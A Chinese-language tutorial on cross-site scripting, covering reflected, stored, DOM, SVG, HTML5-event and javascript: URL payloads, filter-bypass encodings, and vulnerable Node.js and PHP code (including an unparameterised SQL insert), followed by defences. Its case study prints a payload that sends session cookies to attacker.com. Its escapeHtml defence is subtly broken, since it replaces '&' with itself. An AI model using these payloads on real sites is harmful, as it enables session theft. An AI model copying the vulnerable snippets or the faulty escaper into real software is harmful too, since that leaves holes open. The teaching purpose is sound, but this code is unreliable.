常见的 XSS 攻击示例

反射型 XSS 攻击

反射型 XSS 是最常见的攻击方式之一，攻击者将恶意脚本作为参数注入到 URL 中，当用户点击这个链接时，服务器会返回包含恶意脚本的页面。

// 恶意 URL 示例
http://example.com/search?query=<script>alert('XSS')</script>

// 后端未过滤的代码示例（Node.js）
app.get('/search', (req, res) => {
  const query = req.query.query
  res.send(`<h1>搜索结果: ${query}</h1>`)
})

这种攻击的关键在于服务器直接将用户输入的内容返回给浏览器，而没有进行任何过滤或转义。攻击者通常会通过社交工程手段诱导用户点击恶意链接。

存储型 XSS 攻击

存储型 XSS 比反射型更危险，因为恶意脚本会被永久存储在服务器上，影响所有访问受影响页面的用户。

// 评论功能漏洞示例
// 前端代码
function submitComment() {
  const comment = document.getElementById('comment').value
  // 直接发送到服务器，没有前端过滤
  fetch('/api/comments', {
    method: 'POST',
    body: JSON.stringify({ content: comment })
  })
}

// 后端存储漏洞（PHP示例）
$comment = $_POST['content'];
// 直接存入数据库，没有过滤
$db->query("INSERT INTO comments VALUES ('$comment')");

当其他用户访问评论页面时，恶意脚本就会从服务器加载并执行。这种攻击常见于论坛、评论区等用户生成内容的地方。

DOM 型 XSS 攻击

DOM 型 XSS 完全在客户端发生，不涉及服务器响应。攻击通过修改 DOM 环境在客户端执行恶意代码。

// 漏洞代码示例
const urlParams = new URLSearchParams(window.location.search)
const username = urlParams.get('username')
document.getElementById('welcome-message').innerHTML = `欢迎, ${username}`

// 恶意URL
http://example.com/?username=<img src=x onerror=alert('XSS')>

这种攻击特别危险，因为即使服务器有完善的过滤机制，如果客户端代码不安全，仍然可能被利用。

基于 SVG 的 XSS 攻击

SVG 文件可以包含 JavaScript 代码，当浏览器加载这些文件时可能执行恶意脚本。

<!-- 恶意SVG文件示例 -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <rect width="100" height="100" style="fill:rgb(255,0,0);" />
</svg>

许多网站允许用户上传 SVG 作为头像或图片，如果没有正确处理，就可能成为攻击媒介。

HTML5 特性滥用

现代 HTML5 特性可能被滥用进行 XSS 攻击。

<!-- 使用autofocus和onfocus执行脚本 -->
<input autofocus onfocus="alert('XSS')">

<!-- 使用details元素的ontoggle事件 -->
<details ontoggle="alert('XSS')">
  <summary>点击我</summary>
  内容
</details>

这些攻击利用了 HTML5 的新特性和事件，绕过传统的过滤机制。

CSS 表达式注入

在旧版 IE 中，CSS 表达式可以执行 JavaScript 代码。

/* 恶意CSS示例 */
body {
  background-image: expression(alert('XSS'));
}

虽然现代浏览器已不再支持 CSS 表达式，但在一些遗留系统中仍可能存在风险。

JavaScript 协议 URL

通过 javascript: 协议可以直接执行代码。

<a href="javascript:alert('XSS')">点击这里</a>

<!-- 更隐蔽的变体 -->
<iframe src="javascript:alert('XSS')"></iframe>

这种攻击方式简单直接，但容易被现代防护措施拦截。

绕过过滤的技巧

攻击者使用各种技术绕过常见的过滤机制：

// 大小写混淆
<sCrIpT>alert('XSS')</ScRiPt>

// 使用HTML实体编码
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">

// 利用eval和String.fromCharCode
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>

// 使用注释分割
<script>alert('XSS'/*绕过*/)</script>

防御措施的实际实现

有效的防御需要多层次防护：

// 前端转义函数示例
function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;")
}

// 使用DOMPurify库净化HTML
const clean = DOMPurify.sanitize(dirtyHtml)

// 内容安全策略(CSP)设置示例
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

现代框架中的 XSS 防护

主流前端框架提供了内置防护：

// React自动转义示例
function Greeting({ username }) {
  // 自动转义，安全
  return <div>Hello, {username}</div>
}

// 危险情况下需要显式使用dangerouslySetInnerHTML
function MarkdownContent({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />
}

// Vue的v-html指令也需要谨慎使用
<template>
  <div v-html="sanitizedHtml"></div>
</template>

实际案例分析

某电商网站曾因未过滤产品评价导致存储型XSS：

// 攻击者提交的评价内容
"<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"

// 网站漏洞代码
app.post('/api/reviews', (req, res) => {
  const review = req.body.review
  // 直接存储未过滤的评价
  db.saveReview(review)
  res.send({ success: true })
})

攻击持续了3天，窃取了超过10万用户的会话cookie，直到被安全团队发现。